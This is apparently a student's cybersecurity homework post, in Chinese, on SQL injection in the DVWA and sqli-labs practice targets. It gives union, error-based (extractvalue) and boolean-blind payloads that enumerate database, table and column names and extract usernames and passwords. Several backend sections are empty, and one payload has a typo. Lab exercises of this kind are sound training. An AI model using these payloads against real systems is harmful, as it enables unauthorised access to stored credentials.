首页 > 其他分享 >9.28

9.28

时间:2024-10-13 11:32:32浏览次数:5  
标签:name 9.28 报错 select table concat schema

网络安全C10-2024.9.28

作业:

  • 在不依赖于DVWA后端数据库的情况,如何通过前端验证的方法判断DVWA中的注入点是数字型注入还是字符型注入?(提示:用假设法进行逻辑判断)

在对注入点判断是哪种类型时,我们可以通过不断地尝试来进行判断,列入:1 1’--+  1”--+

  1. --+ 1’)--+   1”)--+  1 and 1=2  1’ and 1=2 来尝试,加入其中输入某项错误的但页面放回正确,可以以此来进行突破判断

注意

当输入1 and 1=1时有两种情况

1数字型

  1. 输入内容没有被网站做任何处理,能查询到
  2. 输入内容被网站做任何处理,通过隐式查询依然能查询到

2.字符型   :   查询不到

 

 

当输入1 and 1=2时有两种情况

1数字型

  1. 输入内容没有被网站做任何处理,查询不到
  2. 输入内容被网站做任何处理,能查询到

2.字符型   :   查询不到

 

  • 分别在前端和后端使用联合注入实现“库名-表名-字段名-数据”的注入过程,写清楚注入步骤。

数字型

前端

判断字段为2个

爆库名

表名

-1 union select group_concat(table_name),2 from information_schema.tables where table_name=database()#

字段名

-1 union select group_concat(coulmn),2 from information_schema.columns where table_name=users#

数据

1' union select username,password from users#

后端

 

爆库名

 

 

表名

 

字段名

 

数据

  • 分别在前端和后端使用报错注入实现“库名-表名-字段名-数据”的注入过程,写清楚注入步骤。

前端

爆库

uname=1') and extractvalue(1,concat(0x7e,database()))#&passwd=sdfsad&submit=Submit

 

爆表数

uname=1') and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables  where table_schema=database())))#

 

爆表名

uname=1') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables  where table_schema=database())))#

 

 

爆列名

uname=1') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns  where table_schema=database() and table_name='users')))#

 

报数据

uname=1') and extractvalue(1,concat(0x7e,(select group_concat(username) from users  )))#

 

uname=1') and extractvalue(1,concat(0x7e,(select group_concat(password) from users  )))#

 

 

 

 

 

 

 

后端

爆库

 

爆表数

 

爆表名

 

爆列名

 

报数据

 

 

 

回答下列关于报错注入的问题:

  • 在extractvalue函数中,为什么'~'写在参数1的位置不报错,而写在参数2的位置报错?

答:参数一位置表示的是字符串(返回xml文档的名称),参数二表示的是xml文件的路径也是字符串,但是路径不包含~,不符合函数语法规则的报错。

 

  • 报错注入中,为什么要突破单引号的限制,如何突破?

答:报错注入是用函数语法规则引起的报错,在使用单引号时,有些网站在前端会对单引号进行过滤,使得代码无效,但是MySQL可以使用16进制的可以用0x7e来表示。

 

  • 在报错注入过程中,为什么要进行报错,是哪种类型的报错?

答:报错注入过程是因为前端没有给你返回相应的类容,只有页面上返回的报错的问题

,是数据库语法上的报错

  • 任选布尔盲注或者时间盲注在前端和后端实现“库名-表名”的注入过程,写清楚注入步骤。

前端(总体步骤省略)

爆库名

先判断长度

1'  and length((select database()))<1#

后确定字符

1'  and ascii(substr(database(),1,1))=100#

 

爆表名

1'  and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=100#

 

爆列名(注意单引号,要与靶场一致,最好靶场输入)

 

 

1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=103#

 

报数据

1' and ascii(substr((select password from users limit 0,1),1,1))>10;#

 

 

 

后端

爆库名

后确定字符

 

爆表名

爆字段

爆内容

标签:name,9.28,报错,select,table,concat,schema
From: https://www.cnblogs.com/maoming/p/18462068

相关文章

  • 2024.9.28 模拟赛 CSP6
    模拟赛单\(log\)双\(log\)不如三\(log\)。T1一般图最小匹配简单dp,水。\(O(n^2)\)其实也是可反悔贪心的板子,可以\(O(n\log(n))\)做。考虑排序后求差分数组,就变成不能选相邻的。然后就是可反悔贪心板子。用双向链表(记录前驱后继)维护,然后放进堆里。板dp#include<b......
  • 9.28 开发MES系统日志四
    今天开发MES系统的流程图以及数据库表,因为对MES系统的不了解,所以先加上了最基本的人员管理以及车间管理等基本表信息。      ......
  • 9.28
    突然发现自己之前一场ARC,评分分别为1110和1049的A和B,赛时一点思路没有。然后打开了几道AGC评分2000左右的A和B,结果发现自己连1701的A题都觉得很困难。然后为今晚打ABC光荣rk1468埋下伏笔。我承认\(99\%\)都是看的题解。agc066_a给网格进行黑白染......
  • 「比赛记录」AtCoder abc373 (9.28)
    CTH想看F题解,于是先发出来F.KnapsackwithDiminishingValues属于是翻译官方题解了首先我们设\(dp_{w,j}\)表示从权重为\(w\)或更小的物品中选总重为\(j\)的物品可以得到的最大幸福度。考虑\(dp\)的转移。我们把所有物品按照权重\(w\)分为多组,(每一组中所有物品......
  • 史上最详细论文word排版格式指导规范保姆级教学(2024.9.28)!
    前言首先,每个学校的论文排版格式都是不太相同的,但大体上都是相似的。正常来说,论文的排版操作是十分枯燥并且重复的,但是word中的样式工具使得论文排版会变得容易。接下来我将以某个学校论文格式要求为例,进行论文格式排版的操作。全文一共有5500多字,你只需要辛苦一次将这......
  • R机械设计V4.2(2024.09.28)
    下载:https://pan.baidu.com/s/1Dphz0m8BQWcg-T-AaeoaYA提取码:0520R机械设计V4.2(2024.09.28)更新:1、新增齿轮计算模块2、新增同步带计算模块3、新增耗气量计算模块4、全新自定义模块,(可导入旧版本数据)5、更新螺钉数据6、修正“一般设计资料-过程”速比参数  ......
  • 2024.9.28 bisect 模块
    bisect模块是Python标准库中的一个模块,主要用于维护已排序的列表。它提供了一些函数,帮助你在一个有序序列中查找元素的插入位置,以便保持序列的有序性。以下是bisect模块的一些常用功能:常用函数bisect.bisect_left(a,x,lo=0,hi=len(a)):返回元素x应该插入到列表a......
  • 9.28.2
    importjava.util.Random;publicclassFourArithmeticOperations{publicstaticvoidmain(String[]args){Randomrandom=newRandom();for(inti=0;i<30;i++){intnum1=random.nextInt(100);intnum2=random.nextInt(100);intoperator=random......
  • 9.28
    1:在Java中,枚举类型是一种特殊的数据类型,用于定义一组有限的常量值。以下是枚举类型的一些基本用法:一、定义枚举类型二、使用枚举常量三、遍历枚举常量四、在switch语句中使用枚举常量五、添加属性和方法2:在Java中,double类型的数值进行运算得不到“数学上精确”的结......
  • csp模拟赛 6 9.28
    0+40+10+0一言以蔽之曰“一上午白干”T1一般图最小匹配首先,对答案有贡献的点对一定在排序后的位于相邻位置所以排序后取出所有\(a_{i+1}-a_{i}\)但不能像Kruskal一样每次取最小,因为其只需要考虑连通性,不涉及其它限制。所以用dp或者可反悔贪心取最优解点击查看代码#in......